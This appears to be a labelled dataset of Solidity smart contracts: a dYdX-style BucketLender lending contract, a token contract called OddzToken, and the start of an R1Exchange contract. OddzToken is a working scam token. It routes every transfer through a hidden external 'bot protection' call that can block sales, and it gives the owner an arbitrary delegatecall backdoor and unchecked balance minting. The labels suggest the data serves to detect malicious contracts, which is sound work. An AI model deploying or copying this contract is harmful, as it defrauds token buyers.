event PrincipalIncreased(
uint256 principalTotal,
uint256 bucketNumber,
uint256 principalForBucket,
uint256 amount
);
event PrincipalDecreased(
uint256 principalTotal,
uint256 bucketNumber,
uint256 principalForBucket,
uint256 amount
);
event AvailableIncreased(
uint256 availableTotal,
uint256 bucketNumber,
uint256 availableForBucket,
uint256 amount
);
event AvailableDecreased(
uint256 availableTotal,
uint256 bucketNumber,
uint256 availableForBucket,
uint256 amount
);
mapping(uint256 => uint256) public availableForBucket;
uint256 public availableTotal;
mapping(uint256 => uint256) public principalForBucket;
uint256 public principalTotal;
mapping(uint256 => mapping(address => uint256)) public weightForBucketForAccount;
mapping(uint256 => uint256) public weightForBucket;
uint256 public criticalBucket = 0;
uint256 public cachedRepaidAmount = 0;
bool public wasForceClosed = false;
bytes32 public POSITION_ID;
address public HELD_TOKEN;
address public OWED_TOKEN;
uint32 public BUCKET_TIME;
uint32 public INTEREST_RATE;
uint32 public INTEREST_PERIOD;
uint32 public MAX_DURATION;
uint32 public CALL_TIMELIMIT;
uint32 public MIN_HELD_TOKEN_NUMERATOR;
uint32 public MIN_HELD_TOKEN_DENOMINATOR;
mapping(address => bool) public TRUSTED_MARGIN_CALLERS;
mapping(address => bool) public TRUSTED_WITHDRAWERS;
constructor(
address margin,
bytes32 positionId,
address heldToken,
address owedToken,
uint32[7] parameters,
address[] trustedMarginCallers,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
HELD_TOKEN = heldToken;
OWED_TOKEN = owedToken;
require(
parameters[0] != 0,
"BucketLender#constructor: BUCKET_TIME cannot be zero"
);
BUCKET_TIME = parameters[0];
INTEREST_RATE = parameters[1];
INTEREST_PERIOD = parameters[2];
MAX_DURATION = parameters[3];
CALL_TIMELIMIT = parameters[4];
MIN_HELD_TOKEN_NUMERATOR = parameters[5];
MIN_HELD_TOKEN_DENOMINATOR = parameters[6];
uint256 i = 0;
for (i = 0; i < trustedMarginCallers.length; i++) {
TRUSTED_MARGIN_CALLERS[trustedMarginCallers[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
OWED_TOKEN.approve(
Margin(margin).getTokenProxyAddress(),
MathHelpers.maxUint256()
);
}
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"BucketLender#onlyPosition: Incorrect position"
);
_;
}
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
Margin(DYDX_MARGIN).containsPosition(POSITION_ID),
"BucketLender#verifyLoanOffering: This contract should not open a new position"
);
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32,
signature
);
assert(loanOffering.owedToken == OWED_TOKEN);
assert(loanOffering.heldToken == HELD_TOKEN);
assert(loanOffering.payer == address(this));
assert(loanOffering.owner == address(this));
require(
loanOffering.taker == address(0),
"BucketLender#verifyLoanOffering: loanOffering.taker is non-zero"
);
require(
loanOffering.feeRecipient == address(0),
"BucketLender#verifyLoanOffering: loanOffering.feeRecipient is non-zero"
);
require(
loanOffering.positionOwner == address(0),
"BucketLender#verifyLoanOffering: loanOffering.positionOwner is non-zero"
);
require(
loanOffering.lenderFeeToken == address(0),
"BucketLender#verifyLoanOffering: loanOffering.lenderFeeToken is non-zero"
);
require(
loanOffering.takerFeeToken == address(0),
"BucketLender#verifyLoanOffering: loanOffering.takerFeeToken is non-zero"
);
require(
loanOffering.rates.maxAmount == MathHelpers.maxUint256(),
"BucketLender#verifyLoanOffering: loanOffering.maxAmount is incorrect"
);
require(
loanOffering.rates.minAmount == 0,
"BucketLender#verifyLoanOffering: loanOffering.minAmount is non-zero"
);
require(
loanOffering.rates.minHeldToken == 0,
"BucketLender#verifyLoanOffering: loanOffering.minHeldToken is non-zero"
);
require(
loanOffering.rates.lenderFee == 0,
"BucketLender#verifyLoanOffering: loanOffering.lenderFee is non-zero"
);
require(
loanOffering.rates.takerFee == 0,
"BucketLender#verifyLoanOffering: loanOffering.takerFee is non-zero"
);
require(
loanOffering.expirationTimestamp == MathHelpers.maxUint256(),
"BucketLender#verifyLoanOffering: expirationTimestamp is incorrect"
);
require(
loanOffering.salt == 0,
"BucketLender#verifyLoanOffering: loanOffering.salt is non-zero"
);
require(
loanOffering.callTimeLimit == MathHelpers.maxUint32(),
"BucketLender#verifyLoanOffering: loanOffering.callTimelimit is incorrect"
);
require(
loanOffering.maxDuration == MathHelpers.maxUint32(),
"BucketLender#verifyLoanOffering: loanOffering.maxDuration is incorrect"
);
assert(loanOffering.rates.interestRate == INTEREST_RATE);
assert(loanOffering.rates.interestPeriod == INTEREST_PERIOD);
return address(this);
}
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
uint256 initialPrincipal = position.principal;
uint256 minHeldToken = MathHelpers.getPartialAmount(
uint256(MIN_HELD_TOKEN_NUMERATOR),
uint256(MIN_HELD_TOKEN_DENOMINATOR),
initialPrincipal
);
assert(initialPrincipal > 0);
assert(principalTotal == 0);
assert(from != address(this));
require(
position.owedToken == OWED_TOKEN,
"BucketLender#receiveLoanOwnership: Position owedToken mismatch"
);
require(
position.heldToken == HELD_TOKEN,
"BucketLender#receiveLoanOwnership: Position heldToken mismatch"
);
require(
position.maxDuration == MAX_DURATION,
"BucketLender#receiveLoanOwnership: Position maxDuration mismatch"
);
require(
position.callTimeLimit == CALL_TIMELIMIT,
"BucketLender#receiveLoanOwnership: Position callTimeLimit mismatch"
);
require(
position.interestRate == INTEREST_RATE,
"BucketLender#receiveLoanOwnership: Position interestRate mismatch"
);
require(
position.interestPeriod == INTEREST_PERIOD,
"BucketLender#receiveLoanOwnership: Position interestPeriod mismatch"
);
require(
Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID) >= minHeldToken,
"BucketLender#receiveLoanOwnership: Not enough heldToken as collateral"
);
principalForBucket[0] = initialPrincipal;
principalTotal = initialPrincipal;
weightForBucket[0] = weightForBucket[0].add(initialPrincipal);
weightForBucketForAccount[0][from] =
weightForBucketForAccount[0][from].add(initialPrincipal);
return address(this);
}
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
Margin margin = Margin(DYDX_MARGIN);
require(
payer == address(this),
"BucketLender#increaseLoanOnBehalfOf: Other lenders cannot lend for this position"
);
require(
!margin.isPositionCalled(POSITION_ID),
"BucketLender#increaseLoanOnBehalfOf: No lending while the position is margin-called"
);
uint256 principalAfterIncrease = margin.getPositionPrincipal(POSITION_ID);
uint256 principalBeforeIncrease = principalAfterIncrease.sub(principalAdded);
accountForClose(principalTotal.sub(principalBeforeIncrease));
accountForIncrease(principalAdded, lentAmount);
assert(principalTotal == principalAfterIncrease);
return address(this);
}
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
TRUSTED_MARGIN_CALLERS[caller],
"BucketLender#marginCallOnBehalfOf: Margin-caller must be trusted"
);
require(
depositAmount == 0,
"BucketLender#marginCallOnBehalfOf: Deposit amount must be zero"
);
return address(this);
}
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
TRUSTED_MARGIN_CALLERS[canceler],
"BucketLender#cancelMarginCallOnBehalfOf: Margin-call-canceler must be trusted"
);
return address(this);
}
function forceRecoverCollateralOnBehalfOf(
address ,
bytes32 positionId,
address recipient
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
return forceRecoverCollateralInternal(recipient);
}
function rebalanceBuckets()
external
nonReentrant
{
rebalanceBucketsInternal();
}
function deposit(
address beneficiary,
uint256 amount
)
external
nonReentrant
returns (uint256)
{
Margin margin = Margin(DYDX_MARGIN);
bytes32 positionId = POSITION_ID;
require(
beneficiary != address(0),
"BucketLender#deposit: Beneficiary cannot be the zero address"
);
require(
amount != 0,
"BucketLender#deposit: Cannot deposit zero tokens"
);
require(
!margin.isPositionClosed(positionId),
"BucketLender#deposit: Cannot deposit after the position is closed"
);
require(
!margin.isPositionCalled(positionId),
"BucketLender#deposit: Cannot deposit while the position is margin-called"
);
rebalanceBucketsInternal();
OWED_TOKEN.transferFrom(
msg.sender,
address(this),
amount
);
uint256 bucket = getCurrentBucket();
uint256 effectiveAmount = availableForBucket[bucket].add(getBucketOwedAmount(bucket));
uint256 weightToAdd = 0;
if (effectiveAmount == 0) {
weightToAdd = amount;
} else {
weightToAdd = MathHelpers.getPartialAmount(
amount,
effectiveAmount,
weightForBucket[bucket]
);
}
require(
weightToAdd != 0,
"BucketLender#deposit: Cannot deposit for zero weight"
);
updateAvailable(bucket, amount, true);
weightForBucketForAccount[bucket][beneficiary] =
weightForBucketForAccount[bucket][beneficiary].add(weightToAdd);
weightForBucket[bucket] = weightForBucket[bucket].add(weightToAdd);
emit Deposit(
beneficiary,
bucket,
amount,
weightToAdd
);
return bucket;
}
function withdraw(
uint256[] buckets,
uint256[] maxWeights,
address onBehalfOf
)
external
nonReentrant
returns (uint256, uint256)
{
require(
buckets.length == maxWeights.length,
"BucketLender#withdraw: The lengths of the input arrays must match"
);
if (onBehalfOf != msg.sender) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"BucketLender#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
rebalanceBucketsInternal();
uint256 lockedBucket = 0;
if (
Margin(DYDX_MARGIN).containsPosition(POSITION_ID) &&
criticalBucket == getCurrentBucket()
) {
lockedBucket = criticalBucket;
}
uint256[2] memory results;
uint256 maxHeldToken = 0;
if (wasForceClosed) {
maxHeldToken = HELD_TOKEN.balanceOf(address(this));
}
for (uint256 i = 0; i < buckets.length; i++) {
uint256 bucket = buckets[i];
if ((bucket != 0) && (bucket == lockedBucket)) {
continue;
}
(uint256 owedTokenForBucket, uint256 heldTokenForBucket) = withdrawSingleBucket(
onBehalfOf,
bucket,
maxWeights[i],
maxHeldToken
);
results[0] = results[0].add(owedTokenForBucket);
results[1] = results[1].add(heldTokenForBucket);
}
OWED_TOKEN.transfer(msg.sender, results[0]);
HELD_TOKEN.transfer(msg.sender, results[1]);
return (results[0], results[1]);
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
rebalanceBucketsInternal();
uint256 amount = token.balanceOf(address(this));
if (token == OWED_TOKEN) {
amount = amount.sub(availableTotal);
} else if (token == HELD_TOKEN) {
require(
!wasForceClosed,
"BucketLender#withdrawExcessToken: heldToken cannot be withdrawn if force-closed"
);
}
token.transfer(to, amount);
return amount;
}
function getCurrentBucket()
public
view
returns (uint256)
{
Margin margin = Margin(DYDX_MARGIN);
bytes32 positionId = POSITION_ID;
uint32 bucketTime = BUCKET_TIME;
assert(!margin.isPositionClosed(positionId));
if (!margin.containsPosition(positionId)) {
return 0;
}
uint256 startTimestamp = margin.getPositionStartTimestamp(positionId);
return block.timestamp.sub(startTimestamp).div(bucketTime).add(1);
}
function getBucketOwedAmount(
uint256 bucket
)
public
view
returns (uint256)
{
if (Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
return 0;
}
uint256 lentPrincipal = principalForBucket[bucket];
if (lentPrincipal == 0) {
return 0;
}
uint256 owedAmount = Margin(DYDX_MARGIN).getPositionOwedAmountAtTime(
POSITION_ID,
principalTotal,
uint32(block.timestamp)
);
return MathHelpers.getPartialAmount(
lentPrincipal,
principalTotal,
owedAmount
);
}
function forceRecoverCollateralInternal(
address recipient
)
internal
returns (address)
{
require(
recipient == address(this),
"BucketLender#forceRecoverCollateralOnBehalfOf: Recipient must be this contract"
);
rebalanceBucketsInternal();
wasForceClosed = true;
return address(this);
}
function rebalanceBucketsInternal()
private
{
if (wasForceClosed) {
return;
}
uint256 marginPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(POSITION_ID);
accountForClose(principalTotal.sub(marginPrincipal));
assert(principalTotal == marginPrincipal);
}
function accountForClose(
uint256 principalRemoved
)
private
{
if (principalRemoved == 0) {
return;
}
uint256 newRepaidAmount = Margin(DYDX_MARGIN).getTotalOwedTokenRepaidToLender(POSITION_ID);
assert(newRepaidAmount.sub(cachedRepaidAmount) >= principalRemoved);
uint256 principalToSub = principalRemoved;
uint256 availableToAdd = newRepaidAmount.sub(cachedRepaidAmount);
uint256 criticalBucketTemp = criticalBucket;
for (
uint256 bucket = criticalBucketTemp;
principalToSub > 0;
bucket--
) {
assert(bucket <= criticalBucketTemp);
uint256 principalTemp = Math.min256(principalToSub, principalForBucket[bucket]);
if (principalTemp == 0) {
continue;
}
uint256 availableTemp = MathHelpers.getPartialAmount(
principalTemp,
principalToSub,
availableToAdd
);
updateAvailable(bucket, availableTemp, true);
updatePrincipal(bucket, principalTemp, false);
principalToSub = principalToSub.sub(principalTemp);
availableToAdd = availableToAdd.sub(availableTemp);
criticalBucketTemp = bucket;
}
assert(principalToSub == 0);
assert(availableToAdd == 0);
setCriticalBucket(criticalBucketTemp);
cachedRepaidAmount = newRepaidAmount;
}
function accountForIncrease(
uint256 principalAdded,
uint256 lentAmount
)
private
{
require(
lentAmount <= availableTotal,
"BucketLender#accountForIncrease: No lending not-accounted-for funds"
);
uint256 principalToAdd = principalAdded;
uint256 availableToSub = lentAmount;
uint256 criticalBucketTemp;
uint256 lastBucket = getCurrentBucket();
for (
uint256 bucket = criticalBucket;
principalToAdd > 0;
bucket++
) {
assert(bucket <= lastBucket);
uint256 availableTemp = Math.min256(availableToSub, availableForBucket[bucket]);
if (availableTemp == 0) {
continue;
}
uint256 principalTemp = MathHelpers.getPartialAmount(
availableTemp,
availableToSub,
principalToAdd
);
updateAvailable(bucket, availableTemp, false);
updatePrincipal(bucket, principalTemp, true);
principalToAdd = principalToAdd.sub(principalTemp);
availableToSub = availableToSub.sub(availableTemp);
criticalBucketTemp = bucket;
}
assert(principalToAdd == 0);
assert(availableToSub == 0);
setCriticalBucket(criticalBucketTemp);
}
function withdrawSingleBucket(
address onBehalfOf,
uint256 bucket,
uint256 maxWeight,
uint256 maxHeldToken
)
private
returns (uint256, uint256)
{
uint256 bucketWeight = weightForBucket[bucket];
if (bucketWeight == 0) {
return (0, 0);
}
uint256 userWeight = weightForBucketForAccount[bucket][onBehalfOf];
uint256 weightToWithdraw = Math.min256(maxWeight, userWeight);
if (weightToWithdraw == 0) {
return (0, 0);
}
weightForBucket[bucket] = weightForBucket[bucket].sub(weightToWithdraw);
weightForBucketForAccount[bucket][onBehalfOf] = userWeight.sub(weightToWithdraw);
uint256 owedTokenToWithdraw = withdrawOwedToken(
bucket,
weightToWithdraw,
bucketWeight
);
uint256 heldTokenToWithdraw = withdrawHeldToken(
bucket,
weightToWithdraw,
bucketWeight,
maxHeldToken
);
emit Withdraw(
onBehalfOf,
bucket,
weightToWithdraw,
owedTokenToWithdraw,
heldTokenToWithdraw
);
return (owedTokenToWithdraw, heldTokenToWithdraw);
}
function withdrawOwedToken(
uint256 bucket,
uint256 userWeight,
uint256 bucketWeight
)
private
returns (uint256)
{
uint256 owedTokenToWithdraw = MathHelpers.getPartialAmount(
userWeight,
bucketWeight,
availableForBucket[bucket].add(getBucketOwedAmount(bucket))
);
require(
owedTokenToWithdraw <= availableForBucket[bucket],
"BucketLender#withdrawOwedToken: There must be enough available owedToken"
);
updateAvailable(bucket, owedTokenToWithdraw, false);
return owedTokenToWithdraw;
}
function withdrawHeldToken(
uint256 bucket,
uint256 userWeight,
uint256 bucketWeight,
uint256 maxHeldToken
)
private
returns (uint256)
{
if (maxHeldToken == 0) {
return 0;
}
uint256 principalForBucketForAccount = MathHelpers.getPartialAmount(
userWeight,
bucketWeight,
principalForBucket[bucket]
);
uint256 heldTokenToWithdraw = MathHelpers.getPartialAmount(
principalForBucketForAccount,
principalTotal,
maxHeldToken
);
updatePrincipal(bucket, principalForBucketForAccount, false);
return heldTokenToWithdraw;
}
function setCriticalBucket(
uint256 bucket
)
private
{
if (criticalBucket == bucket) {
return;
}
criticalBucket = bucket;
}
function updateAvailable(
uint256 bucket,
uint256 amount,
bool increase
)
private
{
if (amount == 0) {
return;
}
uint256 newTotal;
uint256 newForBucket;
if (increase) {
newTotal = availableTotal.add(amount);
newForBucket = availableForBucket[bucket].add(amount);
emit AvailableIncreased(newTotal, bucket, newForBucket, amount);
} else {
newTotal = availableTotal.sub(amount);
newForBucket = availableForBucket[bucket].sub(amount);
emit AvailableDecreased(newTotal, bucket, newForBucket, amount);
}
availableTotal = newTotal;
availableForBucket[bucket] = newForBucket;
}
function updatePrincipal(
uint256 bucket,
uint256 amount,
bool increase
)
private
{
if (amount == 0) {
return;
}
uint256 newTotal;
uint256 newForBucket;
if (increase) {
newTotal = principalTotal.add(amount);
newForBucket = principalForBucket[bucket].add(amount);
emit PrincipalIncreased(newTotal, bucket, newForBucket, amount);
} else {
newTotal = principalTotal.sub(amount);
newForBucket = principalForBucket[bucket].sub(amount);
emit PrincipalDecreased(newTotal, bucket, newForBucket, amount);
}
principalTotal = newTotal;
principalForBucket[bucket] = newForBucket;
}
}
contract BucketLenderWithRecoveryDelay is BucketLender
{
uint256 public RECOVERY_DELAY;
constructor(
address margin,
bytes32 positionId,
address heldToken,
address owedToken,
uint32[7] parameters,
address[] trustedMarginCallers,
address[] trustedWithdrawers,
uint256 recoveryDelay
)
public
BucketLender(
margin,
positionId,
heldToken,
owedToken,
parameters,
trustedMarginCallers,
trustedWithdrawers
)
{
RECOVERY_DELAY = recoveryDelay;
}
function forceRecoverCollateralOnBehalfOf(
address ,
bytes32 positionId,
address recipient
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, positionId);
uint256 positionEnd = uint256(position.startTimestamp).add(position.maxDuration);
if (position.callTimestamp > 0) {
uint256 marginCallEnd = uint256(position.callTimestamp).add(position.callTimeLimit);
positionEnd = Math.min256(positionEnd, marginCallEnd);
}
require (
block.timestamp >= positionEnd.add(RECOVERY_DELAY),
"BucketLenderWithRecoveryDelay#forceRecoverCollateralOnBehalfOf: Recovery too early"
);
return forceRecoverCollateralInternal(recipient);
}
} | 0 | 1,786 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract OddzToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "OddzToken";
string public symbol = "ODDZ";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 3,264 |
pragma solidity ^0.4.20;
contract SafeMath {
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract R1Exchange is SafeMath, Ownable {
mapping(address => bool) public admins;
mapping(address => bool) public feeAccounts;
mapping(address => mapping(address => mapping(uint256 => uint256))) public tokenList;
mapping(address => mapping(bytes32 => uint256)) public orderFilled;
mapping(bytes32 => bool) public withdrawn;
mapping(address => mapping(address => mapping(uint256 => uint256))) public withdrawAllowance;
mapping(address => mapping(address => mapping(uint256 => uint256))) public applyList;
mapping(address => mapping(address => mapping(uint256 => uint))) public latestApply;
mapping(address => mapping(uint256 => uint)) public canceled;
string public constant version = '2.0.0';
uint public applyWait = 1 days;
uint public feeRate = 10;
bool public withdrawEnabled = false;
bool public stop = false;
uint256 private DEFAULT_CHANNEL_ID = 0;
bool public depositToEnabled = true;
bool public transferEnabled = false;
bool public changeChannelEnabled = false;
event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance, uint256 channelId);
event DepositTo(address indexed token, address indexed from, address indexed user, uint256 amount, uint256 balance, uint256 channelId);
event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance, uint256 channelId);
event ApplyWithdraw(address indexed token, address indexed user, uint256 amount, uint256 time, uint256 channelId);
event ApproveWithdraw(address indexed token, address indexed user, uint256 channelId);
event Trade(address indexed maker, address indexed taker, uint256 amount, uint256 makerFee, uint256 takerFee, uint256 makerNonce, uint256 takerNonce);
event InnerTransfer(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 balance, uint256 channelId);
event ChangeChannel(address indexed token, address indexed user, uint256 amount, uint256 fromChannelId, uint256 toChannelId);
event BatchCancel(uint256 count, uint256 channelId);
modifier onlyAdmin {
require(admins[msg.sender]);
_;
}
modifier isWithdrawEnabled {
require(withdrawEnabled);
_;
}
modifier isFeeAccount(address fa) {
require(feeAccounts[fa]);
_;
}
modifier notStop() {
require(!stop);
_;
}
modifier isDepositToEnabled() {
require(depositToEnabled);
_;
}
modifier isTransferEnabled() {
require(transferEnabled);
_;
}
modifier isChangeChannelEnabled() {
require(changeChannelEnabled);
_;
}
function() public {
revert();
}
function setAdmin(address admin, bool isAdmin) public onlyOwner {
require(admin != 0);
admins[admin] = isAdmin;
}
function setFeeAccount(address acc, bool asFee) public onlyOwner {
require(acc != 0);
feeAccounts[acc] = asFee;
}
function enableWithdraw(bool enabled) public onlyOwner {
withdrawEnabled = enabled;
}
function enableDepositTo(bool enabled) public onlyOwner {
depositToEnabled = enabled;
}
function enableTransfer(bool enabled) public onlyOwner {
transferEnabled = enabled;
}
function enableChangeChannel(bool enabled) public onlyOwner {
changeChannelEnabled = enabled;
}
function changeLockTime(uint lock) public onlyOwner {
require(lock <= 7 days);
applyWait = lock;
}
function changeFeeRate(uint fr) public onlyOwner {
require(fr >= 10);
feeRate = fr;
}
function stopTrade() public onlyOwner {
stop = true;
}
function batchCancel(address[] users, uint256[] nonces, uint256 channelId) public onlyAdmin {
require(users.length == nonces.length);
uint256 count = 0;
for (uint i = 0; i < users.length; i++) {
require(nonces[i] >= canceled[users[i]][channelId]);
canceled[users[i]][channelId] = nonces[i];
count++;
}
BatchCancel(count, channelId);
}
function deposit(uint256 channelId) public payable {
tokenList[0][msg.sender][channelId] = safeAdd(tokenList[0][msg.sender][channelId], msg.value);
Deposit(0, msg.sender, msg.value, tokenList[0][msg.sender][channelId], channelId);
}
function depositToken(address token, uint256 amount, uint256 channelId) public {
require(token != 0);
tokenList[token][msg.sender][channelId] = safeAdd(tokenList[token][msg.sender][channelId], amount);
require(Token(token).transferFrom(msg.sender, this, amount));
Deposit(token, msg.sender, amount, tokenList[token][msg.sender][channelId], channelId);
}
function depositTo(address to, uint256 channelId) public payable isDepositToEnabled {
require(to != 0 && msg.value > 0);
tokenList[0][to][channelId] = safeAdd(tokenList[0][to][channelId], msg.value);
DepositTo(0, msg.sender, to, msg.value, tokenList[0][to][channelId], channelId);
}
function depositTokenTo(address token, address to, uint256 amount, uint256 channelId) public isDepositToEnabled {
require(token != 0 && to != 0 && amount > 0);
tokenList[token][to][channelId] = safeAdd(tokenList[token][to][channelId], amount);
require(Token(token).transferFrom(msg.sender, this, amount));
DepositTo(token, msg.sender, to, amount, tokenList[token][to][channelId], channelId);
}
